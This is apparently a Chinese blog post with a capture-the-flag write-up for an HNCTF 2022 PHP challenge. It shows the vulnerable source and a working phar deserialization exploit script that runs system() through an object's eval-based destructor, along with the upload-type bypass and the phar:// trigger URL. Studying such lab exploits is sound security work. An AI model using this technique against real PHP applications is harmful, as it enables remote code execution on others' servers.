[HNCTF 2022 WEEK3]ez_phar

一、源码

<?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?>

二、解法

提示upload something,猜测可能存在上传文件的界面。访问upload.php:

发现可以上传文件。因为源码中存在file_exists()函数,可以利用phar反序列化。

基本思路就是利用上传的phar文件进行反序列化利用。

生成phar文件:

<?php
class Flag{
    public $code = "system('cat /ffflllaaaggg');"; //system('ls /');
}
$a = new Flag();


$phar = new phar('b.phar');//对phar对象进行实例化,以便后续操作。


$phar -> startBuffering();//缓冲phar写操作(不用特别注意)


$phar -> setStub("<?php __HALT_COMPILER(); ?>");//设置stub,为固定格式


$phar -> setMetadata($a);//把我们的对象写进Metadata中


$phar -> addFromString("test.txt","helloworld!!");//写压缩文件的内容,这里没利用点,可以随便写


$phar -> stopBuffering();//停止缓冲
?>

然后上传,发现只允许上传图片,修改之后上传成功。

利用phar协议读取:

/?filename=phar://upload/b.jpeg

成功拿到flag。

三、参考文章

PHP Phar反序列化总结_OceanSec的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值